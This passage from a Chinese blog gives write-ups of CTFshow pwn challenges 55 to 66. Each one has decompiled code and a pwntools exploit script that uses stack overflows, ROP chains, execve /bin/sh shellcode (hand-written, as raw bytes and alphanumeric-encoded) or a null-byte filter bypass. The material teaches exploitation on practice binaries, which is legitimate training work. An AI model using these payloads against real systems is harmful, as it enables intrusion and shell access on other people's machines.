p_argc = &argc; setvbuf(stdout, nullptr, 2, 0); memset(s, 0, sizeof(s)); memset(s_1, 0, sizeof(s_1)); memset(s1, 0, sizeof(s1)); puts("==========CTFshow-LOGIN=========="); puts("Input your Username:"); fgets(s_1, 256, stdin); v8 = strchr(s_1, 10); if ( v8 ) *v8 = 0; strcat(s_1, ",\nInput your Password."); stream = fopen("/password.txt", "r"); if ( !stream ) { puts("/password.txt: No such file or directory."); exit(0); } fgets(s, 64, stream); printf("Welcome "); puts(s_1); fgets(s1, 64, stdin); s_1[0] = 0; if ( !strcmp(s1, s) ) { puts("Welcome! Here's what you want:"); flag(); } else { puts("You has been banned!"); } return 0;}漏洞点再puts函数处,puts函数的结束条件是结尾遇见\0,看栈空间:
0000000000000160 char var_160;-000000000000015F // padding byte-000000000000015E // padding byte-000000000000015D // padding byte......................................-0000000000000068 // padding byte-0000000000000067 // padding byte-0000000000000066 // padding byte-0000000000000065 // padding byte-0000000000000064 // padding byte-0000000000000063 // padding byte-0000000000000062 // padding byte-0000000000000061 // padding byte-0000000000000060 _BYTE s;可以看到,s_1距离s有0x100个字节,也就是输入0x100个字节,让puts函数继续向下读到s,也就是password存储的数据,利用puts越界读.

pwn_055
你是我的谁,我的我是你的谁
ida
int __cdecl main(int argc, const char **argv, const char **envp){ setvbuf(stdout, nullptr, 2, 0); logo(&argc); puts("How to find flag?"); ctfshow(); return 0;}
char *ctfshow(){ char s[40]; // [esp+Ch] [ebp-2Ch] BYREF
printf("Input your flag: "); return gets(s);}
int __cdecl flag(int a1){ char s[48]; // [esp+Ch] [ebp-3Ch] BYREF FILE *stream; // [esp+3Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(s, 48, stream); if ( flag1 && flag2 && a1 == -1111638595 ) return printf("%s", s); if ( flag1 && flag2 ) return puts("Incorrect Argument."); if ( flag1 || flag2 ) return puts("Nice Try!"); return puts("Flag is not here!");}
Elf32_Dyn **__cdecl flag_func2(int a1){ Elf32_Dyn **_GLOBAL_OFFSET_TABLE; // eax
_GLOBAL_OFFSET_TABLE = &GLOBAL_OFFSET_TABLE_; if ( flag1 && a1 == -1397969748 ) { flag2 = 1; } else if ( flag1 ) { return (Elf32_Dyn **)puts("Try Again."); } else { return (Elf32_Dyn **)puts("Try a little bit."); } return _GLOBAL_OFFSET_TABLE;}
Elf32_Dyn **flag_func1(){ flag1 = 1; return &GLOBAL_OFFSET_TABLE_;}首先溢出执行flag_func1,然后执行flag_func2并传入参数a1=-1397969748,最后再执行flag函数传入参数a1 = -1111638595
exp
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")rop = ROP(elf)
flag_addr = elf.sym['flag']flag_func1_addr = elf.sym['flag_func1']flag_func2_addr = elf.sym['flag_func2']ret_addr = rop.find_gadget(['ret'])[0]
offset = 0x2C + 0x04
p = b"A" * offsetp += p32(flag_func1_addr)p += p32(flag_func2_addr)p += p32(flag_addr)p += p32(-1397969748 & 0xffffffff)p += p32(3183328701)p += p32(ret_addr)
sh.sendline(p)
sh.interactive()pwn_056
先了解一下简单的32位shellcode吧
ida
text:08048060 public start.text:08048060 start proc near ; DATA XREF: LOAD:08048018↑o.text:08048060 000 6A 68 push 68h ; 'h'.text:08048062 004 68 2F 2F 2F 73 push 732F2F2Fh.text:08048067 008 68 2F 62 69 6E push 6E69622Fh.text:0804806C 00C 89 E3 mov ebx, esp ; file.text:0804806E 00C 31 C9 xor ecx, ecx ; argv.text:08048070 00C 31 D2 xor edx, edx ; envp.text:08048072 00C 6A 0B push 0Bh.text:08048074 010 58 pop eax.text:08048075 00C CD 80 int 80h ; LINUX - sys_execve.text:08048075.text:08048075 start endp.text:08048075.text:08048075 _text ends.text:08048075extern:08048078 ; ===========================================================================extern:08048078extern:08048078 ; Segment type: Externsextern:08048078 ; externextern:08048078 00 extrn _startextern:08048078extern:08048078extern:08048078 end startpwn_057
先了解一下简单的64位shellcode吧
ida
.text:0000000000400080.text:0000000000400080 public _start.text:0000000000400080 _start proc near ; DATA XREF: LOAD:0000000000400018↑o.text:0000000000400080 000 50 push rax.text:0000000000400081 008 48 31 D2 xor rdx, rdx.text:0000000000400084 008 48 31 F6 xor rsi, rsi.text:0000000000400087 008 48 BB 2F 62 69 6E 2F 2F 73 68 mov rbx, 68732F2F6E69622Fh.text:0000000000400091 008 53 push rbx.text:0000000000400092 010 54 push rsp.text:0000000000400093 018 5F pop rdi.text:0000000000400094 010 B0 3B mov al, 3Bh ; ';'.text:0000000000400096 010 0F 05 syscall ; LINUX -.text:0000000000400096.text:0000000000400096 _start endp.text:0000000000400096.text:0000000000400096 _text ends.text:0000000000400096.text:0000000000400096.text:0000000000400096 end _startpwn_058
32位 无限制
ida
.text:080486C5 0BC 83 C4 10 add esp, 10h.text:080486C8 0AC 83 EC 0C sub esp, 0Ch.text:080486CB 0B8 8D 85 60 FF FF FF lea eax, [ebp+s].text:080486D1 0B8 50 push eax ; s.text:080486D2 0BC E8 3F FE FF FF call ctfshow.text:080486D2.text:080486D7 0BC 83 C4 10 add esp, 10h.text:080486DA 0AC 8D 85 60 FF FF FF lea eax, [ebp+s].text:080486E0 0AC FF D0 call eax
int __cdecl ctfshow(char *s){ gets(s); return puts(s);}写入数据后,会再次调用s中写入的数据
exp
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")rop = ROP(elf)
# handwriteshellcode = asm(""" push 0x68 push 0x732F2F2F push 0x6E69622F mov ebx, esp xor ecx, ecx xor edx, edx push 0x0B pop eax int 0x80""")# automaticshellcode1 = asm(shellcraft.sh())sh.sendline(shellcode)
sh.interactive()pwn_059
64位 无限制
exp
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")rop = ROP(elf)
# handwriteshellcode = asm(""" push rax xor rdx, rdx xor rsi, rsi mov rbx, 0x68732F2F6E69622F push rbx push rsp pop rdi mov al, 0x3B syscall""")# automaticshellcode1 = asm(shellcraft.sh())sh.sendline(shellcode)
sh.interactive()pwn_060
入门难度shellcode
ida反编译
int __cdecl main(int argc, const char **argv, const char **envp){ char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, nullptr, 2, 0); setvbuf(stdin, nullptr, 1, 0); puts("CTFshow-pwn can u pwn me here!!"); gets(s); strncpy(buf2, s, 0x64u); printf("See you ~"); return 0;}checksec查保护:

没有开NX保护,所以我们可以写入shellcode,然后通过溢出执行这段shellcode,因为程序会将s复制到bss段上.
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')rop = ROP(elf)
buf2_addr = elf.sym['buf2']ret_addr = rop.find_gadget(['ret'])[0]shellcode = asm(shellcraft.sh())
log.success(f"buf2_addr: {hex(buf2_addr)}")p = shellcode.ljust(112, b'A')log.success(f"p_len: {len(p)}")p += p32(buf2_addr)
# gdb.attach(sh)sh.sendlineafter(b"CTFshow-pwn can u pwn me here!!", p)
sh.interactive()pwn_061
输出了什么?
ida
int __fastcall main(int argc, const char **argv, const char **envp){ FILE *stdout@@GLIBC_2.2.5; // rdi _QWORD v5[2]; // [rsp+0h] [rbp-10h] BYREF
v5[0] = 0; v5[1] = 0; stdout@@GLIBC_2.2.5 = stdout; setvbuf(stdout, nullptr, 1, 0); logo(stdout@@GLIBC_2.2.5, 0); puts("Welcome to CTFshow!"); printf("What's this : [%p] ?\n", v5); puts("Maybe it's useful ! But how to use it?"); gets(v5); return 0;}给了gets函数和v5的地址,看看汇编:
.text:00000000000007FD ; int __fastcall main(int argc, const char **argv, const char **envp).text:00000000000007FD public main.text:00000000000007FD main proc near ; DATA XREF: _start+1D↑o.text:00000000000007FD.text:00000000000007FD var_10= qword ptr -10h.text:00000000000007FD var_8= qword ptr -8.text:00000000000007FD.text:00000000000007FD ; __unwind {.text:00000000000007FD 000 55 push rbp.text:00000000000007FE 008 48 89 E5 mov rbp, rsp.text:0000000000000801 008 48 83 EC 10 sub rsp, 10h.text:0000000000000805 018 48 C7 45 F0 00 00 00 00 mov [rbp+var_10], 0.text:000000000000080D 018 48 C7 45 F8 00 00 00 00 mov [rbp+var_8], 0.text:0000000000000815 018 48 8B 05 2C 18 20 00 mov rax, cs:stdout@@GLIBC_2_2_5.text:000000000000081C 018 B9 00 00 00 00 mov ecx, 0 ; n.text:0000000000000821 018 BA 01 00 00 00 mov edx, 1 ; modes.text:0000000000000826 018 BE 00 00 00 00 mov esi, 0 ; _QWORD.text:000000000000082B 018 48 89 C7 mov rdi, rax ; stdout@@GLIBC_2.2.5.text:000000000000082E 018 E8 FD FD FF FF call _setvbuf.text:000000000000082E.text:0000000000000833 018 B8 00 00 00 00 mov eax, 0.text:0000000000000838 018 E8 1D FF FF FF call logo.text:0000000000000838.text:000000000000083D 018 48 8D 3D FB 05 00 00 lea rdi, aWelcomeToCtfsh ; "Welcome to CTFshow!".text:0000000000000844 018 E8 B7 FD FF FF call _puts.text:0000000000000844.text:0000000000000849 018 48 8D 45 F0 lea rax, [rbp+var_10].text:000000000000084D 018 48 89 C6 mov rsi, rax.text:0000000000000850 018 48 8D 3D FC 05 00 00 lea rdi, format ; "What's this : [%p] ?\n".text:0000000000000857 018 B8 00 00 00 00 mov eax, 0.text:000000000000085C 018 E8 AF FD FF FF call _printf.text:000000000000085C.text:0000000000000861 018 48 8D 3D 08 06 00 00 lea rdi, aMaybeItSUseful ; "Maybe it's useful ! But how to use it?".text:0000000000000868 018 E8 93 FD FF FF call _puts.text:0000000000000868.text:000000000000086D 018 48 8D 45 F0 lea rax, [rbp+var_10].text:0000000000000871 018 48 89 C7 mov rdi, rax.text:0000000000000874 018 B8 00 00 00 00 mov eax, 0.text:0000000000000879 018 E8 A2 FD FF FF call _gets.text:0000000000000879.text:000000000000087E 018 B8 00 00 00 00 mov eax, 0.text:0000000000000883 018 C9 leave.text:0000000000000884 000 C3 retn考点在于shellcode的地址应该在哪里,汇编中我们看到,执行完gets函数后,进行了leave的操作,也就是
exp:
#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")# sh = remote("ip", port)elf = ELF('./pwn')rop = ROP('./pwn')
sh.recvuntil(b"[")v5_addr = int(sh.recvuntil(b"]", drop = True), 16)
log.success(f"v5_addr: {v5_addr}")
offset = 0x10 + 0x08
shellcode = asm(shellcraft.sh())
p = b"A" * offsetp += p64(v5_addr + offset + 0x08)p += shellcode
sh.sendline(p)sh.interactive()pwn_062
短了一点#
ida
int __fastcall main(int argc, const char **argv, const char **envp){ FILE *stdout@@GLIBC_2.2.5; // rdi _QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF
buf[0] = 0; buf[1] = 0; stdout@@GLIBC_2.2.5 = stdout; setvbuf(stdout, nullptr, 1, 0); logo(stdout@@GLIBC_2.2.5, 0); puts("Welcome to CTFshow!"); printf("What's this : [%p] ?\n", buf); puts("Maybe it's useful ! But how to use it?"); read(0, buf, 0x38u); return 0;}.text:00000000000007FD 000 55 push rbp.text:00000000000007FE 008 48 89 E5 mov rbp, rsp.text:0000000000000801 008 48 83 EC 10 sub rsp, 10h.text:0000000000000805 018 48 C7 45 F0 00 00 00 00 mov [rbp+buf], 0.text:000000000000080D 018 48 C7 45 F8 00 00 00 00 mov [rbp+var_8], 0.text:0000000000000815 018 48 8B 05 2C 18 20 00 mov rax, cs:stdout@@GLIBC_2_2_5.text:000000000000081C 018 B9 00 00 00 00 mov ecx, 0 ; n.text:0000000000000821 018 BA 01 00 00 00 mov edx, 1 ; modes.text:0000000000000826 018 BE 00 00 00 00 mov esi, 0 ; _QWORD.text:000000000000082B 018 48 89 C7 mov rdi, rax ; stdout@@GLIBC_2.2.5.text:000000000000082E 018 E8 FD FD FF FF call _setvbuf.text:000000000000082E.text:0000000000000833 018 B8 00 00 00 00 mov eax, 0.text:0000000000000838 018 E8 1D FF FF FF call logo.text:0000000000000838.text:000000000000083D 018 48 8D 3D FB 05 00 00 lea rdi, aWelcomeToCtfsh ; "Welcome to CTFshow!".text:0000000000000844 018 E8 B7 FD FF FF call _puts.text:0000000000000844.text:0000000000000849 018 48 8D 45 F0 lea rax, [rbp+buf].text:000000000000084D 018 48 89 C6 mov rsi, rax.text:0000000000000850 018 48 8D 3D FC 05 00 00 lea rdi, format ; "What's this : [%p] ?\n".text:0000000000000857 018 B8 00 00 00 00 mov eax, 0.text:000000000000085C 018 E8 AF FD FF FF call _printf.text:000000000000085C.text:0000000000000861 018 48 8D 3D 08 06 00 00 lea rdi, aMaybeItSUseful ; "Maybe it's useful ! But how to use it?".text:0000000000000868 018 E8 93 FD FF FF call _puts.text:0000000000000868.text:000000000000086D 018 48 8D 45 F0 lea rax, [rbp+buf].text:0000000000000871 018 BA 38 00 00 00 mov edx, 38h ; '8' ; nbytes.text:0000000000000876 018 48 89 C6 mov rsi, rax ; buf.text:0000000000000879 018 BF 00 00 00 00 mov edi, 0 ; fd.text:000000000000087E 018 E8 9D FD FF FF call _read.text:000000000000087E.text:0000000000000883 018 B8 00 00 00 00 mov eax, 0.text:0000000000000888 018 C9 leave.text:0000000000000889 000 C3 retn限制了读入的长度,需要编写短shellcode
exp
#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")# sh = remote("ip", port)elf = ELF('./pwn')rop = ROP('./pwn')
# gdb.attach(sh)sh.recvuntil(b"[")v5_addr = int(sh.recvuntil(b"]", drop = True), 16)
log.success(f"v5_addr: {v5_addr}")
offset = 0x10 + 0x08
# shellcode = asm(shellcraft.sh())
# shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"p = b"A" * offsetp += p64(v5_addr + offset + 0x08)p += shellcode
sh.sendline(p)sh.interactive()pwn_063
又短了一点#
ida
int __fastcall main(int argc, const char **argv, const char **envp){ FILE *stdout@@GLIBC_2.2.5; // rdi _QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF
buf[0] = 0; buf[1] = 0; stdout@@GLIBC_2.2.5 = stdout; setvbuf(stdout, nullptr, 1, 0); logo(stdout@@GLIBC_2.2.5, 0); puts("Welcome to CTFshow!"); printf("What's this : [%p] ?\n", buf); puts("Maybe it's useful ! But how to use it?"); read(0, buf, 0x37u); return 0;}exp
#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")# sh = remote("ip", port)elf = ELF('./pwn')rop = ROP('./pwn')
# gdb.attach(sh)sh.recvuntil(b"[")v5_addr = int(sh.recvuntil(b"]", drop = True), 16)
log.success(f"v5_addr: {v5_addr}")
offset = 0x10 + 0x08
# shellcode = asm(shellcraft.sh())
# shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"p = b"A" * offsetp += p64(v5_addr + offset + 0x08)p += shellcode
sh.sendline(p)sh.interactive()pwn_064
有时候开启某种保护并不代表这条路不通#
开保护了,先checksec一下:

32位程序,开启了NX堆栈不可执行保护,ida反编译一下看看:
int __cdecl main(int argc, const char **argv, const char **envp){ void *buf; // [esp+8h] [ebp-10h]
buf = mmap(nullptr, 0x400u, 7, 34, 0, 0); alarm(0xAu); setvbuf(stdout, nullptr, 2, 0); setvbuf(stderr, nullptr, 2, 0); puts("Some different!"); if ( read(0, buf, 0x400u) < 0 ) { puts("Illegal entry!"); exit(1); } ((void (*)(void))buf)(); return 0;}mmap()函数创建了0x400大小的可读可写可执行的内存区域,然后读入最大0x400大小的数据,最后调用它.
exp
#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")# sh = remote("ip", port)elf = ELF('./pwn')rop = ROP('./pwn')
shellcode = asm(shellcraft.sh())# 32位短shellcode# shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"# 位短shellcode# shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
sh.sendline(shellcode)sh.interactive()pwn_065
你是一个好人#
查保护:

64位程序,开启了PIE地址随机保护
ida无法反汇编,通过注释掉来进行反汇编:
int __fastcall main(int argc, const char **argv, const char **envp){ _BYTE buf[1032]; // [rsp+0h] [rbp-410h] BYREF int i_1; // [rsp+408h] [rbp-8h] int i; // [rsp+40Ch] [rbp-4h]
write(1, "Input you Shellcode\n", 0x14u); i_1 = read(0, buf, 0x400u); if ( i_1 <= 0 ) return 0; for ( i = 0; i < i_1; ++i ) { if ( ((char)buf[i] <= 96 || (char)buf[i] > 122) && ((char)buf[i] <= 64 || (char)buf[i] > 90) && ((char)buf[i] <= 47 || (char)buf[i] > 90) ) { printf("Good,but not right"); return 0; } } return 0;}exp
#!/usr/bin/env python3
from pwn import *from ae64 import AE64context(os = "linux", arch = "amd64", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")# sh = remote("ip", port)elf = ELF('./pwn')rop = ROP('./pwn')
# shellcode = b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'# shellcode = asm(shellcraft.sh())# 32位短shellcode# shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"# 位短shellcode# shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"with open("./shellcode_bin", "rb") as f: shellcode = f.read()encoder = AE64()alpha_shellcode = encoder.encode(shellcode)log.success(f"alpha_shellcode: {alpha_shellcode}")sh.send(alpha_shellcode)sh.interactive()pwn_066
简单的shellcode?不对劲,十分得有十二分的不对劲#
int __fastcall main(int argc, const char **argv, const char **envp){ void *buf; // [rsp+8h] [rbp-8h]
init(argc, argv, envp); logo(); buf = mmap(nullptr, 0x1000u, 7, 34, 0, 0); puts("Your shellcode is :"); read(0, buf, 0x200u); if ( !(unsigned int)check(buf) ) { printf(" ERROR !"); exit(0); } ((void (__fastcall *)(void *))buf)(buf); return 0;}
__int64 __fastcall check(char *buf){ _BYTE *i; // [rsp+18h] [rbp-10h]
while ( *buf ) { for ( i = &unk_400F20; *i && *i != *buf; ++i ) ; if ( !*i ) return 0; ++buf; } return 1;}利用\x00跳过检查,再加一个\xc0或者\x42
#!/usr/bin/env python3
from pwn import *from ae64 import AE64context(os = "linux", arch = "amd64", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")# sh = remote("ip", port)elf = ELF('./pwn')rop = ROP('./pwn')
# shellcode = b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'shellcode = asm(shellcraft.sh())# 32位短shellcode# shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"# 位短shellcode# shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"# with open("./shellcode_bin", "wb") as f:# f.write(shellcode)# with open("./shellcode_bin", "rb") as f:# shellcode = f.read()# encoder = AE64()# alpha_shellcode = encoder.encode(shellcode)# log.success(f"alpha_shellcode: {alpha_shellcode}")p = b'\x00\xc0'p += shellcode
sh.send(p)sh.interactive()pwn_067
32bit nop sled
分享文章
生成精美分享图或复制链接,与更多人分享本文。
继续阅读
换条路线
从其他文章中稳定抽取
最后更新于 ,距今已过 162 天
部分内容可能已过时
评论